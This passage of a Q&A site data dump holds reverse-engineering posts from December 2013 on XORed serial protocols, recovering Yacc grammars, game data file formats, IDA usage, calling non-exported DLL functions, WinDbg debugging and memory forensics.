  <row Id="3158" PostTypeId="1" CreationDate="2013-12-10T15:59:55.703" Score="5" ViewCount="862" Body="&lt;p&gt;I am trying to reverse engineer some data received over serial port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware sending the data consists of a gps, compass and a power monitoring unit (which sends information about the battery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received three types of messages of varying length. These are given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;55 BB 55 BB 33 00 E7 29 B4 BD D7 82 61 39 23 C4 04 74 04 38 6B 02 12 8E 8D F3 E3 D7 4B 59 91 9C 01 98 0F C5 43 95 D2 03 D2 CC 4B B1 9A A2 54 8C 99 4A 00 DD 02 AB CD &#xA;&#xA;55 BB 55 BB 38 00 85 1F EA BD DE D0 87 7F 14 9A 5C 46 78 7A D1 E7 29 56 2E 7D F9 A9 FF DE E4 6C F2 F5 26 0D EF CD 6A ED B0 28 1D 9E DB 9D 8E BA 5F 58 26 3F B3 DD 03 00 A6 73 AB CD&#xA;&#xA;55 BB 55 BB 24 00 F3 8B FD F6 BF D0 B0 06 05 8D 7C 40 19 CF 29 72 0E 88 B5 0F 4E 56 67 1C 56 AE F8 A3 01 00 DE 05 AB CD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i have understood so far is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Each message starts with 55 BB 55 BB which i assume is the Message Header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The field (byte 5) is the length of the message from 5th till the last byte.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is then followed by 00 which might mark the start of payload.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The last two bytes are always AB CD which might be a trailing header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fourth last and third last bytes might be checksum for the message.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The fifth last byte is always zero which might indicate the end of payload. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The checksum is obtained by using The 8-bit Fletcher Checksum Algorithm described in the TCP alternate checksum options document (rfc1145).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data in the payload doesn't make sense. I have to figure out the order as well any encryption that might be occurring. It seems as they are Xoring the data and the Xor mask changes everytime. But they are sending the Xor mask in the data. I tried Xoring the whole string with each byte but couldn't obtain something similar to known values for Lat/Long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody provide some guidance on how should i proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some work has been done here before. &lt;a href=&quot;http://www.rcgroups.com/forums/showthread.php?t=1995704&quot; rel=&quot;noreferrer&quot;&gt;Rcgroups Post#15&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rft file containing the rest of the data.&#xA;&lt;a href=&quot;http://www.4shared.com/office/N7Bi3Gup/20131209153158.html&quot; rel=&quot;noreferrer&quot;&gt;4shared Link RTF File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-04-11T14:37:00.333" Title="Reverse Engineering XORed string" Tags="|encryption|serial-communication|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3159" PostTypeId="2" ParentId="3156" CreationDate="2013-12-10T16:23:17.183" Score="3" Body="&lt;p&gt;Here is a C representation of the assembly (assuming I didn't mess anything up of course). Interestingly, the first argument to this function appears to be ignored:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_058A5(int unused, void *unk1, void *unk2, void *unk3)&#xA;{&#xA;    int retval = 4;&#xA;    void *ptr = unk_F77A8;&#xA;&#xA;    if(unk1 != NULL)&#xA;    {&#xA;        ptr = unk1;&#xA;    }&#xA;&#xA;    if(sub_03DE5(var_68, var_58, var_48, var_38, 0) == 0 &amp;amp;&amp;amp;&#xA;       sub_01D91(var_68, ptr, 0x50) == 0 &amp;amp;&amp;amp; &#xA;       sub_01D91(var_58, unk2, 0x11) == 0 &amp;amp;&amp;amp;&#xA;       sub_01D91(var_48, unk_F77F8, 0x50) == 0 &amp;amp;&amp;amp;&#xA;       sub_058F6(var_68, var_58, var_48, var_38) == 0 &amp;amp;&amp;amp;&#xA;       sub_01001(var_38, unk3, 0x50) == 0)&#xA;    {&#xA;        sub_04E0F(var_68, var_58, var_48, var_38, 0);&#xA;        retval = 0;&#xA;    }&#xA;&#xA;    return retval;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, this really doesn't tell you much unless you know what those other subroutines are doing.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1408" LastEditDate="2013-12-10T18:29:00.370" LastActivityDate="2013-12-10T18:29:00.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3160" PostTypeId="1" CreationDate="2013-12-10T17:35:28.797" Score="6" ViewCount="794" Body="&lt;p&gt;I have a quite old C corporate parser / compiler code that was generated from an ancient Yacc and the original grammar source is lost (as the intermediate files) the only result the &lt;code&gt;ytab.c&lt;/code&gt; parser generated file. That legacy piece of code need revamping but I cannot afford to recode it from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;ancient Yacc&quot;, I mean that the parser is using tables named &lt;code&gt;yyact&lt;/code&gt;, &lt;code&gt;yypact&lt;/code&gt;, &lt;code&gt;yypgo&lt;/code&gt;, &lt;code&gt;yyr1&lt;/code&gt;, &lt;code&gt;yyr2&lt;/code&gt;, &lt;code&gt;yytoks&lt;/code&gt;, &lt;code&gt;yyexca&lt;/code&gt;, &lt;code&gt;yychk&lt;/code&gt;, &lt;code&gt;yydef&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be possible to mechanically retrieve / regenerate the parsing rules by deduction of the parsing tables in order to reconstruct the grammar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example with a little sample of an expression parser that I can process with the same ancient Yacc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yytabelem yyexca[] ={&#xA;-1, 1,&#xA;    0, -1,&#xA;    -2, 0,&#xA;-1, 21,&#xA;    261, 0,&#xA;    -2, 8,&#xA;    };&#xA;yytabelem yyact[]={&#xA;&#xA;    13,     9,    10,    11,    12,    23,     8,    22,    13,     9,&#xA;    10,    11,    12,     9,    10,    11,    12,     1,     2,    11,&#xA;    12,     6,     7,     4,     3,     0,    16,     5,     0,    14,&#xA;    15,     0,     0,     0,    17,    18,    19,    20,    21,     0,&#xA;     0,    24 };&#xA;yytabelem yypact[]={&#xA;&#xA;  -248, -1000,  -236,  -261,  -236,  -236, -1000, -1000,  -248,  -236,&#xA;  -236,  -236,  -236,  -236,  -253, -1000,  -263,  -245,  -245, -1000,&#xA; -1000,  -249, -1000,  -248, -1000 };&#xA;yytabelem yypgo[]={&#xA;&#xA;     0,    17,    24 };&#xA;yytabelem yyr1[]={&#xA;&#xA;     0,     1,     1,     1,     2,     2,     2,     2,     2,     2,&#xA;     2,     2,     2 };&#xA;yytabelem yyr2[]={&#xA;&#xA;     0,     8,    12,     0,     6,     6,     6,     6,     6,     6,&#xA;     4,     2,     2 };&#xA;yytabelem yychk[]={&#xA;&#xA; -1000,    -1,   266,    -2,   259,   263,   257,   258,   267,   262,&#xA;   263,   264,   265,   261,    -2,    -2,    -1,    -2,    -2,    -2,&#xA;    -2,    -2,   260,   268,    -1 };&#xA;yytabelem yydef[]={&#xA;&#xA;     3,    -2,     0,     0,     0,     0,    11,    12,     3,     0,&#xA;     0,     0,     0,     0,     0,    10,     1,     4,     5,     6,&#xA;     7,    -2,     9,     3,     2 };&#xA;&#xA;yytoktype yytoks[] =&#xA;{&#xA;    &quot;NAME&quot;, 257,&#xA;    &quot;NUMBER&quot;,   258,&#xA;    &quot;LPAREN&quot;,   259,&#xA;    &quot;RPAREN&quot;,   260,&#xA;    &quot;EQUAL&quot;,    261,&#xA;    &quot;PLUS&quot;, 262,&#xA;    &quot;MINUS&quot;,    263,&#xA;    &quot;TIMES&quot;,    264,&#xA;    &quot;DIVIDE&quot;,   265,&#xA;    &quot;IF&quot;,   266,&#xA;    &quot;THEN&quot;, 267,&#xA;    &quot;ELSE&quot;, 268,&#xA;    &quot;LOW&quot;,  269,&#xA;    &quot;UMINUS&quot;,   270,&#xA;    &quot;-unknown-&quot;,    -1  /* ends search */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am looking to retrieve &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stmt    : IF exp THEN stmt&#xA;        | IF exp THEN stmt ELSE stmt&#xA;        | /*others*/&#xA;        ;&#xA;&#xA;exp     : exp PLUS exp&#xA;        | exp MINUS exp&#xA;        | exp TIMES exp&#xA;        | exp DIVIDE exp&#xA;        | exp EQUAL exp&#xA;        | LPAREN exp RPAREN&#xA;        | MINUS exp&#xA;        | NAME&#xA;        | NUMBER&#xA;        ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The full parser for this example is available &lt;a href=&quot;https://gist.github.com/sebkirche/7896350&quot; rel=&quot;nofollow noreferrer&quot;&gt;as a gist&lt;/a&gt;, it is showing a &lt;code&gt;yyreds&lt;/code&gt; table containing the rules as a debug info that is not in the parser that I am trying to reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : I have asked this &lt;a href=&quot;https://stackoverflow.com/q/20496216/317266&quot;&gt;formerly on SO&lt;/a&gt;, and was suggested to ask it in RE. Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: i am not familiar with the RE question tags, feel free to correct this.&lt;/p&gt;&#xA;" OwnerUserId="2094" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-12-26T22:21:48.430" Title="LALR parsing : retrieve the grammar rules from the generated parsing tables" Tags="|decompile|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3161" PostTypeId="2" ParentId="3160" CreationDate="2013-12-10T22:46:18.660" Score="3" Body="&lt;p&gt;I don't have an actual answer. I've heard some rumors of a tool doing that but haven't seen anything concrete. I have, however, found a page which should be pretty helpful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;Understanding C parsers generated by GNU Bison&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;This document is an attempt to describe the implementation of an&#xA;  LALR(1) parser in C as generated by Bison 2.3. I used a simple grammar&#xA;  to demonstrate the working of the parser and the nature of parsing&#xA;  tables. You will also find a comparison of these tables to the&#xA;  uncompressed tabular scheme given in the popular book &quot;Compilers -&#xA;  Principles, Techniques and Tools&quot; by Aho, Sethi and Ullman, also&#xA;  called as the &quot;Dragon Book&quot; and many other books on compiler design.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;See it &lt;a href=&quot;http://www.cs.uic.edu/~spopuri/cparser.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: found a script that claims to do it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nah6.com/~itsme/cvs-xdadevtools/perlutils/yydecode.pl&quot; rel=&quot;nofollow&quot;&gt;http://nah6.com/~itsme/cvs-xdadevtools/perlutils/yydecode.pl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it seems it's intended to be used with another set of tables. Still, it might be useful for a start.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-12-26T22:21:48.430" LastActivityDate="2013-12-26T22:21:48.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3162" PostTypeId="2" ParentId="3155" CreationDate="2013-12-10T23:21:45.687" Score="5" Body="&lt;p&gt;Full Disclosure is always appreciated. This seems to be a (&quot;the&quot;?) data file for FASA Studio's &quot;Shadowrun&quot;. Anyway, the data file contains enough recognizable items to get a good start (PNGs, Unicode text). Data seems to be aligned on 16 bytes, padded with what seems to be random trash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PNG images are a good start; you can extract them 'manually' (I used &lt;a href=&quot;http://www.suavetech.com/0xed/&quot; rel=&quot;nofollow noreferrer&quot;&gt;0xED&lt;/a&gt;) and see if they are well-formed. The few I tried were, and the all-but-one last data block should be a PNG image, according to the toc file. I located it at &lt;code&gt;0x82A72D0&lt;/code&gt;, with a length of &lt;code&gt;0x2E231&lt;/code&gt; bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WDvNG.png&quot; alt=&quot;the very last PNG in core.data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I checked the data around the last PNG file &lt;em&gt;name&lt;/em&gt; in &lt;code&gt;core.toc&lt;/code&gt; for these bytes. Bingo - not a huge challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial part of the toc file is unknown but may be a fast look-up table. I didn't cross-reference this any further with what follows. After that, the following data can be found per each file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 bytes   length (little endian)&#xA;4 bytes   offset&#xA;8 bytes   unknown (perhaps checksum, perhaps file data/time, who knows?)&#xA;3 bytes   name length -- possibly only the first 2 though, 3 bytes is rare #&#xA;x bytes   name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right after the block of file names more stuff appears, I couldn't think of a use for it. You could extract all file names, count them, and see if this is relevant. It seems it isn't as the file name block contains everything you were looking for.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;# Ah-- for the first file, this &lt;code&gt;name length&lt;/code&gt; is &lt;code&gt;0x0E 0x00 0x01&lt;/code&gt;. Seems the third byte indicates something else, then. I found 2 so far with a &lt;code&gt;0x01&lt;/code&gt;, both are '&lt;em&gt;pathless&lt;/em&gt;' files.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2013-12-11T18:28:31.543" LastActivityDate="2013-12-11T18:28:31.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3163" PostTypeId="2" ParentId="3108" CreationDate="2013-12-11T00:21:52.020" Score="0" Body="&lt;p&gt;Dmitry Nedospasov gave an epic presentation at Toorcon about backside IC analysis. The above video is also awesome but doesn't take into account the trouble IC and chip makers trying to protect their chips from this type of invasion. Here is a link to Dmitry and other's white paper which thoroughly discusses the best process in my opinion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nedos.net/ccs2013.pdf&quot; rel=&quot;nofollow&quot;&gt;http://nedos.net/ccs2013.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3341" LastActivityDate="2013-12-11T00:21:52.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3164" PostTypeId="1" CreationDate="2013-12-11T00:48:37.393" Score="3" ViewCount="214" Body="&lt;p&gt;I have bought a USB frame grabber (&lt;a href=&quot;http://www.hauppauge.co.uk/site/products/data_hvr1900.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hauppauge WinTV HVR 1900&lt;/strong&gt;&lt;/a&gt;) for a personal research project. A SDK exists, but unfortunately the company does not seem too keen on distributing it. I have to extract frames from a video stream in my software, and although it works perfectly with my webcam stream, it does not work with the frame grabber (that works perfectly with the bundled soft).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The frame grabber has an integrated MPEG-2 encoder, so the output stream should be MPEG-2&lt;/strong&gt;, but since it does not work, I guess it is not standard. VLC is able to read the stream, though. &lt;strong&gt;Since it seems I will have to reverse engineer to get my soft to read the output stream, and as I have never done that kind of thing, could someone please give me a hint on how to proceed about that?&lt;/strong&gt; I mostly have experience with the python language.&lt;/p&gt;&#xA;" OwnerUserId="3342" LastEditorUserId="3041" LastEditDate="2013-12-11T11:57:06.523" LastActivityDate="2013-12-11T11:57:06.523" Title="Frame grabber reverse engineering" Tags="|hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3165" PostTypeId="2" ParentId="3164" CreationDate="2013-12-11T00:53:11.267" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://www.videolan.org/vlc/download-sources.html&quot; rel=&quot;nofollow&quot;&gt;VLC is open source&lt;/a&gt;, so if it can indeed read the stream, no reverse engineering required.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-12-11T00:53:11.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3166" PostTypeId="1" AcceptedAnswerId="3222" CreationDate="2013-12-12T04:51:46.793" Score="10" ViewCount="1677" Body="&lt;p&gt;The situation is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reversing an application, In which I found a lot of functions that belongs to the OpenSSL library. Since I have the source code for this module, I was wondering if it's possible to somehow &quot;extract&quot; the variable names, structures, function names from the source code, and sync/map it to IDA?&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="2354" LastEditDate="2014-07-18T17:05:32.507" LastActivityDate="2014-07-18T17:05:32.507" Title="Mapping an external module's source code to assembly - extracting information from source code" Tags="|disassembly|ida|assembly|functions|reassembly|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3167" PostTypeId="1" AcceptedAnswerId="3168" CreationDate="2013-12-12T05:16:08.567" Score="5" ViewCount="474" Body="&lt;p&gt;Can I group functions based on their place in the binary? Can I assume functions next to each othe belong to the same logical group, or at least they have similar functionality? I suspect that the ordering/layout of the functions are decided compile time, however I still don't know what exactly controls this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, here is an example for better understanding my question. &#xA;Let's say I have 3 functions that IDA named for me :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_00543210&#xA;sub_00543211&#xA;sub_00543212&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later during the analysis I find out the name of two functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo_bar1&#xA;sub_00543211&#xA;foo_bar3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point I would say that the name of the 2nd function, surrounded by found function names is definitely has something to do with &quot;foo&quot; so I'll name it &quot;foo_bar2&quot;. (Which later it turned out to be true.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is this a valid assumption, or was this a special occasion?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastActivityDate="2013-12-12T06:00:58.907" Title="Grouping functions based on their placement/order in the binary" Tags="|ida|compilers|memory|functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3168" PostTypeId="2" ParentId="3167" CreationDate="2013-12-12T05:47:06.740" Score="2" Body="&lt;p&gt;Often times you &lt;em&gt;will&lt;/em&gt; see patterns like this in a binary. It's certainly not guaranteed by any means, but you will typically see like functions placed near each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I mean by that? Well consider how a typical C program might be laid out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo.c&#xA;    static foo_1()&#xA;    static foo_2()&#xA;    use_foo()&#xA;&#xA;bar.c&#xA;    static bar_1()&#xA;    static bar_2()&#xA;    use_bar()&#xA;&#xA;main.c&#xA;    usage()&#xA;    process_args()&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;People typically compile each C file by itself (into a .o) and then those object files are linked together to form the final binary.  Most of the time, &lt;em&gt;the linker will not reorder the functions&lt;/em&gt;.  So this is why you can expect to see similar or related functions right around each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, this holds true for libraries that the binary is statically linked against.  If an IDA FLIRT signature matches, you'll often see those standard library functions right next to each other as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fact &lt;em&gt;really&lt;/em&gt; helps when you find a standard compression/encryption/xml/whatever function, because most of the time, you can pull the source code and quickly start identifying the rest of the library calls (or at least know what functions you can ignore).&lt;/p&gt;&#xA;" OwnerUserId="1655" LastActivityDate="2013-12-12T05:47:06.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3169" PostTypeId="2" ParentId="3167" CreationDate="2013-12-12T06:00:58.907" Score="3" Body="&lt;p&gt;Normally the linker will leave the functions in their original order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, techniques like &lt;em&gt;Working-Set Tuning&lt;/em&gt; (see also &lt;em&gt;Profile-Guided Optimization&lt;/em&gt;) can profile the program to see which parts are called the most often, then re-link it with that information in mind. This will clump the most frequently used code together (not only reordering functions, but also possibly splitting them into separate chunks) for memory paging purposes, and of course throw the original function ordering out the window.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-12-12T06:00:58.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3171" PostTypeId="1" CreationDate="2013-12-12T08:11:28.007" Score="5" ViewCount="303" Body="&lt;p&gt;I'm interested if anyone can share from his experience how to analyze complex binaries in pairs - 2 RE engineers. &#xA;Are there any suitable methodologies, &lt;del&gt;tools&lt;/del&gt; to help in such work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is indeed partly a duplicated question regarding tools, but not methodologies.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="245" LastEditDate="2016-04-13T12:43:23.510" LastActivityDate="2016-04-13T12:43:23.510" Title="Reverse engineering in pairs - is it possible?" Tags="|ida|binary-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3172" PostTypeId="2" ParentId="3171" CreationDate="2013-12-12T09:09:34.077" Score="5" Body="&lt;p&gt;I don't know any concurrent solution that enables data exchange in realtime. But for IDA users there is &lt;a href=&quot;http://www.idabook.com/collabreate/&quot;&gt;collabreate&lt;/a&gt; which seems to allow to push/pull database changes.&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2013-12-12T09:09:34.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3174" PostTypeId="1" CreationDate="2013-12-12T23:24:10.477" Score="2" ViewCount="37" Body="&lt;p&gt;What is of different label formats of &lt;code&gt;call&lt;/code&gt; instruction means in IDA?&lt;br&gt;&#xA;Like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call  Cla$ENABEL&#xA;call  ds:Cla$PushString&#xA;call  ds:GETNAME@Folosososososos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3360" LastActivityDate="2013-12-12T23:24:10.477" Title="Means of different call label formats in IDA" Tags="|disassembly|ida|assembly|" AnswerCount="0" CommentCount="0" ClosedDate="2013-12-13T08:37:09.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="3175" PostTypeId="1" CreationDate="2013-12-13T05:26:44.897" Score="5" ViewCount="4759" Body="&lt;p&gt;I'm doing some reverse engineering of C++ dll.&#xA;What I have achieved so far - is have a list of all functions inside&#xA;and even source code (in pseudo-C or so) for most of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading this source code of most the functions doesn't make sense,&#xA;because original algorythms were written in C++ and are way too different&#xA;from the received C code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I try to compile the received C code (by C compilator) - &#xA;it won't run due to numerous syntax problems, missing libraries, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to simplify the things, I'm now after following task:&#xA;I need just to call some of the required functions directly from dll,&#xA;supplying some parameters of my choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach works fine for exported functions, where I know the name&#xA;of the functions from decompiler code and they do have the name inside the dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But speaking about internal (non-exported) functions in dll - &#xA;their names in decompiled code are most probably different from the&#xA;original ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions: Is it possible to find out the original names of the functions&#xA;inside dll ? &#xA;Or is there any other smart way to call these functions directly from original dll?&#xA;How to do this?&lt;/p&gt;&#xA;" OwnerUserId="3362" LastActivityDate="2013-12-13T19:40:50.040" Title="How to call non-exported functions from dll?" Tags="|dll|decompile|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3176" PostTypeId="2" ParentId="3175" CreationDate="2013-12-13T07:42:31.283" Score="1" Body="&lt;p&gt;i think the best way to patch export table, to point exported names to needed functions. (or even extend export for needed funcs). Sorry, i can't provide the name of tools, which can make this&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-12-13T07:42:31.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3177" PostTypeId="2" ParentId="3175" CreationDate="2013-12-13T07:46:16.703" Score="7" Body="&lt;p&gt;First thing that comes to mind is the following approach&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using your favourite debugger/disassembler locate the function and note down some unique byte pattern which identifies the function (Sort of like IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot;&gt;Flirt signatures&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Get a handle to the DLL (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683199%28v=vs.85%29.aspx&quot;&gt;GetModuleHandleA&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Get the image size (from &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684229%28v=vs.85%29.aspx&quot;&gt;MODULEINFO.SizeOfImage&lt;/a&gt; using &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms683201%28v=vs.85%29.aspx&quot;&gt;GetModuleInformation&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Search for your unique pattern (handle+i &amp;lt; imageSize: -&gt; memcmp)&lt;/li&gt;&#xA;&lt;li&gt;Assign the found address to a function pointer&lt;/li&gt;&#xA;&lt;li&gt;Call the function&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-12-13T07:46:16.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3178" PostTypeId="1" AcceptedAnswerId="3183" CreationDate="2013-12-13T08:35:12.023" Score="10" ViewCount="1306" Body="&lt;p&gt;What impact does noninvasive user mode debugging with WinDbg have on the process?&#xA;Will it be detectable by the process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could imagine that if the threads are suspended, differences in execution time of a function could be detected by comparing to &quot;usual&quot; values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Microsoft itself &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff552274%28v=vs.85%29.aspx&quot;&gt;does not indicate&lt;/a&gt; more impact than suspending threads. Is that true?&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2013-12-14T11:16:55.977" Title="What impact does noninvasive debugging have?" Tags="|anti-debugging|windbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3179" PostTypeId="2" ParentId="2336" CreationDate="2013-12-13T09:38:20.037" Score="1" Body="&lt;p&gt;Dumping a process in user mode (.dump /ma) will dump all of its virtual memory. This includes memory which is currently paged to disk. It will be paged in during the dump process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kernel debugging is close to debugging physical memory only. So even if you manage to dump all physical memory of the process, you only have the part which is called &quot;WorkingSet&quot;. It would not be a complete dump, especially you couldn't use it for debugging .NET.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, finally, even if it's possible somehow, you'll not get the same results.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2013-12-13T09:38:20.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3180" PostTypeId="1" AcceptedAnswerId="3181" CreationDate="2013-12-13T14:44:00.030" Score="2" ViewCount="722" Body="&lt;p&gt;I'm doing memory forensics with volatility and pefile on Windows XP SP2 memory dumps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run windows in a VirtualBox VM and aquire the dumps with vboxmanage debugvm  dumpguestcore --filename dump.vmem &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build a tree of dll's imported by a process. Therefore I recursively walk the dll's starting at the process &lt;code&gt;ImageBaseAddress&lt;/code&gt;. The problem that occurs is that for some dll's the dllBase is paged and so I can't read the import and delay import directory structures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried disabling the paging in &lt;code&gt;Control Panel&lt;/code&gt; -&gt; &lt;code&gt;System&lt;/code&gt; -&gt; &lt;code&gt;Advanced&lt;/code&gt; -&gt; &lt;code&gt;Perfomance&lt;/code&gt; -&gt; &lt;code&gt;Advanced&lt;/code&gt; -&gt; &lt;code&gt;Virtual Memory&lt;/code&gt; -&gt; &lt;code&gt;No paging file&lt;/code&gt;. I also changed the registy entry 